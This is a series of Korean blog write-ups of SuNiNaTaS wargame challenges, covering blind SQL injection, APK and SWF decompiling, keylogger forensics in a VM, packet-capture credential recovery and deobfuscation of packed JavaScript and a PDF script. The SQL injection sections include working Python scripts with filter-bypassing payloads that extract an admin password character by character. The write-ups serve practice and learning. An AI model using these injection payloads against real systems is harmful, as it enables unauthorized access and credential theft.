22번의 주요 키워드인 admin과 substring이 필터링 되어있습니다.


<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->

<!-- Hint 2 : Bypass 'admin' string -->


힌트로 22번과 동일하지만 추가로 "admin" 문자열을 우회하라고 합니다.



우선 substring이 필터링이 되어 문자열을 나눌 수 있는 다른 방법을 찾아야 합니다.

substring과 비슷하게 사용되는 함수들은 left, mid, right가 있습니다.


하지만 mid() 함수는 존재하지 않는지 False만 나왔습니다.

그래서 left 함수를 이용해서 알고 있는 guest로 먼저 올바른 구문인지 확인해 봅니다.

※ left(str, len)



비밀번호 4글자까지는 무리 없이 잘 진행됩니다.



하지만 마지막 5글자로 해보니 No hack이라는 문자열이 나옵니다...

확인해보니까 30글자 문자열 제한이 되어있습니다.


문자열 제한으로 인해 admin 문자열의 우회 방법을 알아내도 비밀번호가 길어버리면 필터링이 되어 성공하지 못합니다.


admin을 필터링하고 있으니 ad'+'min 이렇게 만들어서 보내면 sql query에서 문자열이 합쳐서 query문이 잘 적응되긴 합니다.

(물론 Python로 할 때 +를 %2B로 해야 되더군요.)



이리저리 알아보다가 admin이라는 글자 자체가 없어도 할 수 있다는 내용을 듣고 시도해 봤습니다.


전 문제와 달리 or는 필터링이 되지 않아서 다음과 같이 시도해보면 인증이 되었습니다.

guest라는 내용이 없어도 guest로 인지하고 된 것입니다.


검색하려는 테이블의 정보 중 해당 칼럼의 다음과 같이 'g'로 시작하는 칼럼이 있으면 참으로 판단합니다.

이걸 이용하면 admin의 비밀번호 앞자리를 알 수 있습니다.



하나씩 해보게 되면 'v'가 admin으로 인증이 되게 됩니다.

이제 코드를 짜서 확인해보면 되겠습니다.



다음 Python 코드로 실행해보면 몇 자리의 비밀번호가 나오지만 문자열 30개 제한으로 인해 다 나오지 않습니다.

password의 'v'로 초기화하지 않으면 guest가 먼저 인지 되어 guest의 pw가 나오게 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = 'v'
 
for i in range(2,15):
    for j in range(33,127):
        query = "id='or left(pw,"+str(i)+")='"+password+chr(j)+"'--&pw=1"
        payload = url+query      
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = password+chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



right 함수를 이용해서 뒤의 자리부터 구해서 적절히 합치면 됩니다.

그러기 위해 아래와 같이 코드 수정을 하고 진행하면 비밀번호를 얻을 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = ''
 
for i in range(1,15):
    for j in range(33,127):
        query = "id='or right(pw,"+str(i)+")='"+chr(j)+password+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = chr(j)+password
            print("password: "+password)
            break
        
print ("password : "+password)
 
cs



QnA에 댓글 중에 "함수에 대한 고정관념을 버려야 한다"는 말이 있었습니다.

또한 DB Query에 대해 이해가 필요한 것 같습니다.


아직 배워야 할게 많네요 ..

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

Blind Sql Injection 문제입니다.


많은 문자열들이 필터링이 되어있어서 한정된 방법으로 풀어야합니다.


우선 주석에  <!-- Hint : guest / guest & Your goal is to find the admin's pw --> 과 같이 나와있으며

"admin" 계정의 대한 비밀번호를 찾으면 되는 문제입니다.


guest/guest를 입력해 전송하면 "OK guest"라는 메시지가 나옵니다.


주석이 필터링이 되어있나 확인해보기 위해 --를 입력해보니 잘 됩니다.

대충 이런 Query가 될 것입니다. select * from User_Table where id='guest' --' and pw='1'


뒤에 pw값은 주석으로 인해 무시가 되므로 id가 guest가 있으면 참으로 인식합니다.



Blind Sql Injection을 하기 위해서 처음에 pw가 몇 글자인지 알아야한다 생각하여 length() 함수를 사용했습니다.


length()함수가 필터링 되지는 않았지만 False라고 나오면서 실패하게 됩니다.

구문의 오류는 없어보이는데 왜 안되는지 모르겠네요..


한참을 length가지고 씨름을 하다가 다른 방법으로 해봤습니다.



substring() 함수를 사용해서 바로 찾아 봤습니다.

※substring(str, start, len): 문자열을 가져와서 시작 인덱스를 기준으로 지정된 길이만큼 가져옴. 1부터 시작


guest의 비밀번호는 guest임으로 다음과 같이 작성해봅니다.

99개의 길이를 가져와도 문자열 끝에는 %00이 오기에 인식하지 않습니다.


"OK guest"가 나오는 걸보니 잘 되는거 같습니다.



다음을 이용해서 Python 코드를 작성해 봤습니다.

Python의 requests 모듈을 이용해 해당 URL로 요청을 보내 "OK"값이 나오는지 확인해 봅니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
cookies= {'YourCookie_1':'YourCookie_value_1','YourCookie_2':'YourCookie_value_2'}
 
url = 'http://suninatas.com/Part_one/web22/web22.asp?'
password = ''
 
for i in range(1,20):
    for j in range(33,127):
        query = "id=admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password += chr(j)
            break
        
print ("password : "+password)
cs



정확한 길이를 몰라 20개까지 뽑았는데 문자열의 끝이 %%%%%로 채워지므로 해당 부분을 제외하고 인증하시면 됩니다.





'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

System 문제로 파일을 받고 시작합니다.


파일을 받으시면 확장자가 없으니 HxD로 확인 해보시면 zip파일 인걸 알 수 있습니다.



압축을 풀어보기 전에 내용을 확인 해보면 "AndroidManifest.xml" 이 있는 걸보니 apk로 되어있다고 판단할 수 있습니다.

(apk도 일종의 압축이니..)



처음에는 zip파일로 인지하고 "android studio"로 보일꺼라고 생각했지만 전혀 안보여서 검색을 해보니

"apktool"로 apk파일을 디컴파일하여 분석할 수 있다고 합니다.


사용법은 java -jar [apktool 파일 경로] d [디컴파일할 파일명] 입니다.



수행하고나면 폴더가 생성되고 안에 내용은 다음과 같습니다.

그냥 zip파일을 열었을 때와는 좀 다른 파일들이 보입니다.



다양한 파일들이 있어 "Visual Code"로 해당 폴더를 열어 파일을 하나씩 봤습니다.

그 중 Suninatas$1.smali 파일에 내용을 보니 "key" 값도 있으며 다양한 내용이 있습니다.


해당 key 값으로 인증을 시도하면 인증이 되지 않습니다.



그 중에 ".line 41"에 내용에 주목 해야합니다.

suninatas URL로 id,pw,key 값을 get방식으로 전송하는 코드가 있습니다


key 값은 위 사진 v4에 저장되어 있습니다.

id/pw는 사용자의 계정을 입력하면 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.line 41
    new-instance v9, Ljava/lang/StringBuilder;
    const-string v10, "http://www.suninatas.com/Part_one/web24/chk_key.asp?id="
    invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
    invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    const-string v10, "&pw="
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
    invoke-interface {v6}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    const-string v10, "&key="
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
    invoke-interface {v4}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v9
    invoke-static {v9}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    move-result-object v8
cs

사용하고 있던 chrome URL창에 

http://www.suninatas.com/Part_one/web24/chk_key.asp?id=□□□□&pw=□□□□&key=□□□□□□

이런 식으로 입력해보니 Wrong!Wrong! 이라는 메시지가 나올 뿐 해결되지 않았습니다.


알고보니 android 휴대폰을 이용해서 해당 URL로 접근하면 인증 키를 띄워주었습니다.

하지만 저는 아이폰이기에.. 핸드폰으로는 못해보고


User-Agent Switcher for Chrome 을 이용해서 브라우져를 Android로 변경해서 해결 했습니다.







[참고]

Apktool을 이용한 APK 디컴파일: http://vzio.tistory.com/20

[Android] APKTool 사용법: http://choboitstory.tistory.com/151


smali 코드 배우기: https://i2sec.github.io/files/2017-10-20/study_dalvik_smali.pdf

smali 코드 관련: http://egloos.zum.com/playgame/v/2189805

[Android] smali 코드 분석 연습: http://tribal1012.tistory.com/170



'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

관리자로 로그인 하라는 문제입니다.


처음에 보고서 생각된 방법은 당연히 SQLi를 이용해서 로그인을 하라고 하는줄 알았습니다.

하지만 필터링도 되어있으며 글자 수 제한도 있어서 되지 않았습니다


그리고 SQLi 문제였으면 [WEB]에 있어야는데 [MISC]에 있는거도 의문이였고.. 

QnA을 참조해보니 관리자분께서 ID/PWD를 이용한 방법말고 여러 방법이 있다하셔서 다른 방식으로 풀어야 했습니다.



관리자 페이지가 어떻게서든 있으리라 생각하고 소스코드도 뒤져보고 js 코드도 확인해 봤습니다.


① 관리자 로그인 버튼이 숨어있을 것이다.

② 관리자 페이지가 어디든 기록되어 있을 것이다.

③ js 코드에 명시되어 있을 것이다.

.. 등등 다양한 방법으로 시도해 봤지만 찾지 못했습니다.


그러다.. 황당하게도 URL에 /admin이라고 해보니 다음과 같은 QR Code가 등장했습니다..



QR Code의 내용에 URL이 적혀있어 이동해 봤습니다.



ID / PW를 입력하는 창과 버튼이 있었습니다. 열심히 이것저것 넣어봤지만 실패하고 소스코드를 봐보니

".swf" 파일로 그냥 flash 파일이였습니다.


flash파일이니 어디로 전송하지도 않고 그냥 작동만하는 것이였습니다...



여기서 한참을 찾아헤매다가 flash decoding을 하라는 애기를 듣고.. (도움을 받았네요 ㅜ)


flash decoding 프로그램인 "Sothink SWF Decompiler"를 받았습니다. (30일 체험판)

해당 프로그램으로 불러보니 모양/이미지/사운드/글꼴/텍스트/버튼/프레임/동작/기타태그 로 나눠서 보였습니다.




하나하나 눌러보면서 혹시 무슨 내용이 있을까 확인해봤습니다. 

그러다 다음과 같은 코드가 나왔습니다.


".swf" 파일도 프로그램이니만큼 특정 언어로 코딩되어 있었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Action script...
 
on (release)
{
    function receipt()
    {
        if (flashid != "" || flashpw != "")
        {
            flashmessage = "Worng ID or PW";
            play ();
        }
        else
        {
            flashmessage = "Auth : \"\"";
            play ();
        } // end else if
    } // End of the function
    receipt();
}
cs


ID/PW/Auth 는 모두 지웠습니다.

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14
SuNiNaTaS_5 [WEB]  (0) 2018.09.13

처음 문제를 보고 다운로드 받았을 때 어떻게 해야할지 몰랐습니다...


HxD로 열어봐서 파일시그니처가 뭔지도 확인했지만.. 나오지 않았고.. 막막해서 넘어갔던 문제인데


다시돌아와서 iso나 zip파일 같은 압축파일이 아닐까해서 확장자를 zip으로 바꾸고 확인해보니 가상머신이 나왔습니다!!



처음 윈도우가 다켜지면 조금있다가 갑자기 30초뒤에 꺼진다는 알림이 나옵니다.

대수롭지 않게 생각했지만 진짜 꺼지더라고요... 켜지고 꺼지고 켜지고 꺼지고 반복했습니다.


윈도우가 시작하자마자 작동하는걸 보니 시작프로그램이나 작업스케줄에 설정이 되어있는거 같습니다.



빠르게 30초가 되기전에 작업스케줄에가서 확인해보니 "Restart"라는 이름으로 설정이 되어있었습니다.

... 필요없는 내용같으니 삭제합니다.



이제 본격적으로 문제를 풀어봅시다.



①번


1번은 www.naver.com 으로 접속했을때 경찰청 waring 사이트로 열린다는 문제입니다.


www.naver.com으로 접속을 시도했는데 왠 이상한 사이트가 나오는걸 보니 redirect 시킨다는 느낌을 처음에 받았습니다.

그래서 인터넷 주소를 찾을때 DNS에서 도메인에 대한 IP를 질의하기 전에 사용자PC의 "DNS cache"를 먼저 확인 하기에 windows의 hosts파일을 먼저 확인할 필요가 있었습니다.

(hosts파일 위치: C:\Windows\System32\drivers\etc\host)



hosts.txt라는 파일이 보이길래 확인해보니 별다른 내용이 없었습니다.

모두 주석처리 되어있어 작동하지 않을 것입니다..



그렇게 별생각 없이 다음 문제를 풀때 "숨김파일 해제"를 하고 다시 이 문제로 돌아왔는데

"hosts" 파일이 숨김파일로 되어있었습니다.!!


생각해보니 hosts파일 확장자가 txt라는건 말도 안되는 얘기였습니다..ㅜㅜ (낚였네요..)



해당 파일을 열어보면 다음과 같이 키값을 얻을 수 있습니다.





②번


키로거를 찾는 문제입니다.


키로거는 사용자의 키보드로 입력되는 값들을 전부 획득하는 프로그램입니다. 

해당 프로그램이 작동하고 있을때 id/pwd를 입력하여 사이트에 접속하면 악의적인 사용자가 이 값을 얻어 사용할 수 있습니다.


컴퓨터가 꺼져도 다시 켜질 때 작동을 해야하기 때문에 키로거 프로그램은 시작 프로그램으로 등록을 해놓습니다.

[HKEY_LOCAL_MACHINE\SOFWARE\Microsoft\Windows\CurrentVersion\Run]는 컴퓨터가 부팅 시 작동할 프로그램 정보가 있습니다.


아래와 같이 "v1tvr0"라는 이름의 파일이 등록되어 있습니다.



※주의: C:\ 와 c:\는 MD5 hash 할 때 완전히 다른 값을 나타냅니다.. (소문자로 하셔야 합니다.) 한참 고생했네요ㅜ




③번


해당 경로로 이동하시면 다음과 같은 파일들을 만나볼 수 있습니다.


처음에보시면 숨김파일들이 많아 안보이겠지만 숨김해제를 하시고 보시면 많은 파일들이 보이게 됩니다.



처음에 단순히 수정한 날짜와 만든 날짜로 인증을 하는 것이라고 생각했는데..

알고보니 다운로드 시간은 다를 수 있다는걸 알게 되었습니다.


"BrowsingHistoryView"라는 툴을 이용해서 브라우져에 접속한 시간과 다운로드 받은 시간들을 확인할 수 있습니다.





④번


키로거로 알아내고자 했던 내용을 찾으면 되는 문제입니다.


숨겨진 폴더인 "v1valv\Computer1" 에 들어가시면 아래와 같은 폴더가 나옵니다.

첫번째 파일은 오늘 날짜로 제가 이리저리 찾으면서 쓴 단어들이 있을 것이고,

두번째 파일에 16년도로 이 문제가 만들어지 날짜이니 들어가봅니다.



파일이 두개 있는데 "z1.dat" 파일을 보시면 키보드로 입력했던 문자열들이 나올꺼고 키값까지 나와있습니다.


4개의 인증키 값을 모두 합쳐서 MD5 Hash하고 대문자를 소문자로 바꾸면 문제 인증키가 됩니다.





[참고]

키로거 설명: http://blog.naver.com/PostView.nhn?blogId=abyofasha&logNo=97321742

BrowsingHistoryView 설명: https://m.post.naver.com/viewer/postView.nhn?volumeNo=6955001&memberNo=21532239

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14
SuNiNaTaS_5 [WEB]  (0) 2018.09.13
SuNiNaTaS_31 [FORENSIC]  (0) 2018.09.13

System 문제로 Wireshark를 이용한 패킷 분석 문제입니다.



"SuNiNaTaS.com"의 멤버의 password를 찾을 수 있냐고 합니다.


우선 패킷들을 보면 네이버를 갔던 정보도 있고 다양하게 많습니다.


그리고 password를 알아내려면 아마 로그인 시도를 할 때 전해졌을 것입니다.


많은 양의 패킷을 일일이 확인할 수 없기 때문에 필터를 줘봅니다.

로그인을 시도했고 성공했다면 "200 ok"가 나올거라 생각하고 아래와 같이 필터를 줍니다.

또한 "Packet detail"로 "String" 검색을 통해 password라는 글자를 찾아봅니다.



눈으로 확인할 수 있을 정도의 패킷들이 모아졌습니다.


해당 패킷들은 모두 각각의 정보를 가지고 있고 뿔뿔히 흩어져있기 때문에 

"Tcp stream" 기능을 이용하여 관련된 패킷을 하나로 모아줍니다.



"Tcp stream" 기능으로 하나로 뭉쳐진 패킷을 확인해봅니다.


빨간색으로 나온 부분이 요청한 부분이고, 파란색으로 나온 부분이 응답한 내용입니다.



아래로 쭉 내려오다보면 blackkey/blackkey 로 요청한 내용을 확인할 수 있습니다.

하지만 그 응답을 보시면 "200 ok"가 되었지만 location.reload()를 보니 올바른 값이 아닌거 같습니다.



"Hpw" 가 password를 보낼때 사용하는 이름인걸 알았으니 찾기로 해당 문자열을 찾아보면 총 4개를 발견할 수 있습니다.

  Hid=suninatas&Hpw=suninatas

  Hid=blackkey&Hpw=blackkey

  Hid=ultrashark&Hpw=sharkpass01

  Hid=ultrashark&Hpw=%3Dsharkpass01 


하지만 그중에 Hid=ultrashark&Hpw=%3DSharkPass01  이 부분만이 다른 응답이 오는걸 알 수 있습니다.




password를 찾았으니 이거로 인증하면 될가 싶었는데.. 안되더군요.


이리저리 다 해봤는데 안되서 약간의 도움을 받았습니다.


해당 값으로 실제 로그인을 해보시면 인증값을 뿌려준다는 사실을 알았고.. 로그인해보니 인증키를 뿌려주던군요 ㅜ



'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_5 [WEB]  (0) 2018.09.13
SuNiNaTaS_31 [FORENSIC]  (0) 2018.09.13
SuNiNaTaS_17 [MISC]  (0) 2018.09.12


소스보기를 하시면 <script>로 아래와 같은 함수를 보실 수 있습니다.


보기 편하게 구분을 해놨으며 문자열이 길어 '+'로 개행 시켜놨습니다.


이거만 떡하니 있고 hint로는 <!--Hint : 12342046413275659 --> 로 되어있습니다.


다른 내용이 없으니 해당 함수가 어떻게 동작하는지 알아야할 것 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval
(
    function(p,a,c,k,e,r)
    {
        e=function(c){return c.toString(a)};
        if(!''.replace(/^/,String))
        {
            while(c--)r[e(c)]=k[c]||e(c);
            k=[function(e){return r[e]}];
            e=function(){return'\\w+'};
            c=1
        };
        while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
        return p
    }
    ('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');'
+'p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}'
    ,34
    ,34
    ,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|')
    ,0
    ,{})
)
                        
cs



우선 eval() 함수는 javascript의 코드를 계산하여 결과를 도출해주는 역할을 합니다.

이 상태로 console에 붙여넣으면 제대로 실행이 안되는걸 보니 하나하나 차례대로 알아봐야할 것 같습니다.


우선 크게 function(p,a,c,k,e,r)로 되어있습니다. packer.. 로 되어있는걸 보니 어떤 문자열이 이 함수를 통해서 packing 된게 아닌가 하는 생각을 해봅니다.


또한 ( )로 인자가 6개있는데 function{}뒤에 바로 붙여서 나와있습니다.

그럼 차례대로 p,a,c,k,e,r 이라고 생각하시면 됩니다.



그럼 이제 맨 위에부터 차례대로 수행하면 됩니다.

위에 생각한대로 보시면 a=34, c=34, e=0 이라고 생각할 수 있습니다.



1
e=function(c){return c.toString(a)};
cs


toString() 함수는 문자열을 반환해주는 함수입니다.


console을 이용해서 어떤 값이 반환 되는지 확인해봅니다.

다음과 같이 "10"을 반환하게 됩니다.


다음을 보시면  !''.replace(/^/,String)  복잡해 보이지만 이 값은 true입니다.

if(true)이므로 항상 실행하게 됩니다. (의미 없음)


1
2
3
4
5
6
if(!''.replace(/^/,String)){
    while(c--)r[e(c)]=k[c]||e(c);
    k=[function(e){return r[e]}];
    e=function(){return'\\w+'};
    c=1
};

cs


while문은 c값이 현재 34이므로 한번 실행할때마다 -1 되고 -1이 될때까지 진행하게 됩니다.


진행하면 r 값에는 아래와 같이 들어가게 됩니다.


 

  1. 0:"0"
  2. 1:"1"
  3. 2:"2"
  4. 3:"3"
  5. 4:"4"
  6. 5:"5"
  7. 6:"6"
  8. 7:"7"
  9. 8:"8"
  10. 9:"9"
  11. a:"a"
  12. b:"b"
  13. c:"c"
  14. d:"d"
  15. e:"e"
  16. f:"f"
  17. g:"var"
  18. h:"result"
  19. i:"i"
  20. j:"start"
  21. k:"digit"
  22. l:"digitArray"
  23. m:"new"
  24. n:"n"
  25. o:"Array"
  26. p:"function"
  27. q:"PASS"
  28. r:"true"
  29. s:"for"
  30. t:"32"
  31. u:"0xf"
  32. v:"if"


이후 k와 e의 함수를 정의하고 c값을 1로 설정합니다.


1
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
cs


"new RegExp" 는 정규표현식을 나타냅니다.

생성자 함수를 사용하면 정규식이 실행 시점에 컴파일 됩니다.

e(c) 값이 주기적으로 변경되므로 생성자 함수를 사용하여 표현 하였습니다.


new RegExp('\\b\w+\\b' , 'g') 와 같이 표현됩니다.


  \b : 단어의 경계를 나타냄

  \w : 밑줄 문자를 포함한 영숫자 문자에 대응. [A-Za-z0-9_] 와 동일

  + : 앞 표현식이 1회 이상 연속으로 반복되는 부분


  'g' : flags 값으로 모든 pattern에 대한 전역 검색

 



다음 함수를 수행하면 아래와 같이 p값이 나옵니다. (문단 구분함)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
var digitArray = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
function PASS(n){
    var result = '';
    var start  = true;
    for(var i=32; i>0 ;){
        i- = 4;
        var digit = (n>>i)&0xf;
        if(!start||digit != 0){
            start   = false;
            result += digitArray[digit]
        }
    }
    return (result==''?'0':result)
}
cs



함수명부터 PASS인걸 보니 이 함수를 통해 키값을 찾는거 같습니다.


처음에 힌트로 <!--Hint : 12342046413275659 --> 숫자를 주었습니다. 이 값을 넣어보면 값이 나오게 됩니다.


해당 값으로 Check 해보면 다음과 같이 문제 인증키를 얻을 수 있습니다.



[참고]

정규표현식: https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%EC%A0%95%EA%B7%9C%EC%8B%9D

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14
SuNiNaTaS_31 [FORENSIC]  (0) 2018.09.13
SuNiNaTaS_17 [MISC]  (0) 2018.09.12
SuNiNaTaS_28 [FORENSIC]  (0) 2018.09.12

pdf를 분석하여 Flag를 얻으라는 문제입니다.



파일을 내려받으면 pdf의 내용은 다음과 같습니다. 


별다른 정보를 얻을 수 없으니 다른 방법을 사용해야 할 것 같습니다.



HxD를 이용해서 확인해보니 매우 의심스러운 문자열들이 존재합니다.


해당 내용을 확인하기 위해 notepad로 열어 확인해보니 스크립트 문이 존재했습니다.



아래와 같은 javascript로 base64 decoder를 구현한 내용으로 보입니다. 


스크립트는 base64 decode를 한번만 수행하니 온라인 디코더로 아래 payload값을 여러번 수행하다보면


I am sorry, This is not key~!! 라고 나옵니다. fake 였던 겁니다..


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var Base64={
    _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    decode:function(input){
        for(var ah=0; ah<(input.length); ah++){
            input = input.replace("'+'","");
        }
        var rlLwarzv="";
        var chr1,chr2,chr3;
        var enc1,enc2,enc3,enc4;
        var i=0;
        input = input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
        while(i<input.length){
            enc1 = this._keyStr.indexOf(input.charAt(i++));
            enc2 = this._keyStr.indexOf(input.charAt(i++));
            enc3 = this._keyStr.indexOf(input.charAt(i++));
            enc4 = this._keyStr.indexOf(input.charAt(i++));
            chr1 = (enc1<<2)|(enc2>>4);
            chr2 = ((enc2&15)<<4)|(enc3>>2);
            chr3 = ((enc3&3)<<6)|enc4;
            rlLwarzv = rlLwarzv + String.fromCharCode(chr1);
            if(enc3!=64){
                rlLwarzv = rlLwarzv + String.fromCharCode(chr2);
            }
            if(enc4!=64){
                rlLwarzv = rlLwarzv + String.fromCharCode(chr3);
            }
        }
        eval(rlLwarzv);
    }
}
Base64.decode("'Vm0'+'wd2Qy'+'UXlW'+'a1pP'+'VldS'+'WFYw'+'ZG9WV'+'ll3W'+'kc5V'+'01Wb'
            +'DNXa2    +'1JIV'+'mtsa'+'QpSb'+'VJPW'+'W14R'+'00x'+'WnR'+'NWH'+'BsU'+'m1S'+'SVZ'+'tdF'+'dVZ'+'3Bp'
            +'Umx'+'wd1'+'ZXM'+'TRkM'+'VZX'+'WkZ'+'kYV'+'JGS'+'lVU'+'V3N'+'4Tk'+'ZaS'+'E5V'+'OVhR'+'WEJ'
            +'wVW'+'01Q'+'1dW'+'ZHNa'+'RFJa'+'ClYx'+'WlhWM'+'jVLVm1'+'FeVVtR'+'ldh'+'a1p'+'MVj'+'BaV'
            +'2RF'+'NVZ'+'PV2'+'hSV'+'0VK'+'VVd'+'XeG'+'FTM'+'VpX'+'V2t'+'kVm'+'EwN'+'VVD'+'azF'+'XV2'
            +'xoV'+'01X'+'aHZ'+'WMG'+'RLU'+'jJO'+'SVR'+'sWm'+'kKV'+'0do'+'NlZ'+'HeG'+'FZV'+'k5I'+'VWt'
            +'oU2'+'JXa'+'FdW'+'MFZ'+'LVl'+'ZkW'+'E1U'+'QlR'+'NV1'+'JYV'+'jI1'+'U2Fs'+'SllV'+'bkJEY'
            +'XpGV1'+'kwWm'+'9XR0'+'V4Y'+'0hK'+'V01'+'uTjN'+'aVmR'+'HUjJ'+'GRwp'+'WbGN'+'LWW'+'toQm'
            +'VsZH'+'NaR'+'FJa'+'Vms1'+'R1R'+'sWm'+'tZV'+'kp1U'+'WxkV'+'01GW'+'kxWb'+'FprV'+'0Ux'+'VVF'
            +'sUk'+'5WbH'+'BJVm'+'pKMG'+'ExZH'+'RWbk'+'pYYm'+'tKRV'+'lYcE'+'dWMW'+'t3Cl'+'dtOV'+'hSMF'
            +'Y1WV'+'VWN'+'FYw'+'MUh'+'Va3'+'hXT'+'VZw'+'WFl'+'6Rm'+'Fjd3'+'BqUj'+'J0T'+'FZXM'+'DFRM'
            +'kl4W'+'khOY'+'VJGS'+'mFWa'+'kZLU'+'1ZadG'+'RHOV'+'ZSbH'+'AxV'+'Vd4'+'a1Y'+'wMU'+'cKV'+'2t4'
            +'V2J'+'GcH'+'JWMG'+'RTU'+'jFw'+'SGR'+'FNV'+'diS'+'EJK'+'Vmp'+'KMF'+'lXS'+'XlS'+'WGh'+'UV0'
            +'dSW'+'Vlt'+'dGF'+'SVm'+'xzV'+'m5k'+'WFJ'+'sbD'+'VDb'+'VJI'+'T1Z'+'oU0'+'1GW'+'TFX'+'VlZ'
            +'hVT'+'FZeA'+'pTWH'+'BoU0'+'VwV1'+'lsaE'+'5lRl'+'pxUm'+'xkam'+'QzQn'+'FVak'+'owVE'+'ZaWE'
            +'1UUm'+'tNa'+'2w0'+'VjJ'+'4a1'+'ZtR'+'XlV'+'bGh'+'VVm'+'xae'+'lRr'+'WmF'+'kR1'+'ZJV'+'Gxw'
            +'V2E'+'zQj'+'VWa'+'ko0'+'CmE'+'xWX'+'lTb'+'lVL'+'VVc'+'1V1'+'ZXS'+'kZW'+'VFZ'+'WUm'+'tVN'
            +'VVG'+'RTl'+'QUT'+'09'");

cs



열심히 HxD로 확인하고 notepad로 열어서 일일이 확인해도 전혀 감이 안 왔습니다.


그래서 약간의 도움을 얻어 다른 방법으로 해보기로 했습니다.


"PDFStreamDumper" 라는 툴은 pdf 구조대로 나눠서 깔끔하게 보여주는 툴입니다.


pdf는 여러 object로 나눠져 있고 각각이 정보를 담고있습니다.


